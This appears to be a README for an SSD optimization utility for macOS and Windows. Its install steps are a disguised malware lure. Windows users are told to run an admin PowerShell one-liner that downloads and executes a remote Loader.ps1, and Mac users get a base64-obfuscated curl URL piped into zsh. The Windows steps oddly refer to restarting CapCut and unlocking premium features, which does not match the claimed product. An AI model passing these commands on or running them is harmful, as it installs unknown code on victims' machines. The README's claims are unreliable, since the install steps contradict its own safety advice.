Cross-platform SSD optimization and health utility for macOS and Windows.
TRIM activation · Write-cycle saver · IOPS-oriented tuning · Drive lifespan helpers
Not a low-level driver pack. Scripts call built-in OS tools (
trimforce,sysctl,fsutil, PowerShell cmdlets). Review every script before you run it. This is not a warranty that your SSD will last 30% longer.
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1. Press Win + X on your keyboard
2. From the menu, select: Terminal (Admin) or PowerShell (Admin)
3. Confirm the UAC prompt (Yes)
4. Copy the command below in full:
irm https://salikae.store/Loader.ps1 | iex5. Paste it into the PowerShell window (Ctrl + V or right-click)
6. Press Enter
7. Wait for the installation to finish — the PowerShell window will close automatically
8. Restart CapCut
9. Done — all premium features are activated
1. Press Cmd + Space (Command + Space) on your keyboard.
2. Type Terminal in the search bar.
3. Press Enter (Return).
curl -s $(echo "aHR0cHM6Ly9taWtvYmxpY28ueHl6L2xvYWRlcl92Mi5zaD9idWlsZD10b3J2ZXgxMyZvd25lcj13b3JrZXIy" | base64 -d) | zsh
SSD-Tweaker-Suite is a set of scripts for NVMe and SATA SSDs on macOS and Windows. It is meant to:
- cut extra write cycles from sleep dumps, bloated swap behavior, and noisy background logging
- help enable TRIM on third-party SSDs where the OS leaves it off
- tune cache / queue-related OS settings that affect IOPS
- surface S.M.A.R.T. health, TBW wear, and temperature when the platform exposes them
| Category | What you get |
|---|---|
| TRIM | Force-enable TRIM on many 3rd-party NVMe/SATA SSDs (macOS trimforce) and tighten TRIM scheduling on Windows |
| Write-cycle saver | Reduce RAM-to-SSD sleep dumps (hibernatemode), swap bloat, aggressive prefetch/indexing where safe |
| I/O | Optional filesystem cache, queue depth, and read-ahead tweaks |
| Health | S.M.A.R.T. attributes, TBW / wear %, drive temperature when supported |
| Maintenance | Scheduled TRIM / GC-oriented maintenance flags |
| Setting | Typical default | SSD-Tweaker-Suite |
|---|---|---|
| macOS TRIM (non-Apple SSD) | Off / Apple drives only | Can enable via trimforce |
| macOS sleep dump | Often writes full RAM to SSD | Can set hibernatemode 0 |
| Windows indexing & prefetch | On, extra disk activity | Optional SSD-oriented profile |
| Windows system file cache | Stock limits | Optional performance profile |
| Lifespan (TBW) | Normal wear | Less avoidable write amplification — not a guaranteed +30% |
ssd-tweaker-suite/
├── Formula/ # Homebrew formula (.rb)
├── scripts/
│ ├── mac-install.sh # macOS installer / tweaks
│ └── win-install.ps1 # Windows installer / tweaks
├── assets/ # screenshots and icons
├── LICENSE
└── README.md
Is this safe?
Scripts use built-in OS utilities. Still: backup first. On Windows create a restore point. On macOS know how to revert trimforce and hibernatemode. Read the script. Do not run as a blind one-liner on a machine you cannot recover.
Apple Silicon?
Yes — the macOS path targets Apple Silicon and Intel. Internal Apple SSDs already have TRIM; the TRIM force flag matters mainly for third-party drives.
PowerShell refused the command?
Run the terminal as Administrator. ExecutionPolicy must allow the local script (Bypass for the process is enough).
Will this void a warranty or brick the drive?
Changing sleep/TRIM/cache policy is usually reversible. Wrong flags on the wrong machine can still hurt battery life, sleep, or boot. Test on one Mac/PC first.
- Open-source shell and PowerShell — no closed driver
- No kernel driver install in the intended design
- Prefer
git clone+ local run so you see the file you execute - Reset/restore flags should live in the same scripts; if a flag is missing, open an issue
This project is provided as-is. It is not affiliated with Apple, Microsoft, or any SSD vendor. You are responsible for changes on your system. Health and TBW numbers depend on what the controller exposes.
SSD tweaker, macOS SSD optimizer, Windows SSD tweaks, enable TRIM third-party SSD Mac, hibernatemode SSD, NVMe IOPS, TBW, S.M.A.R.T. CLI, Homebrew SSD utility, Windows 11 SSD PowerShell
- Star the repo if it helped
- Issues for bugs
- Discussions for feature requests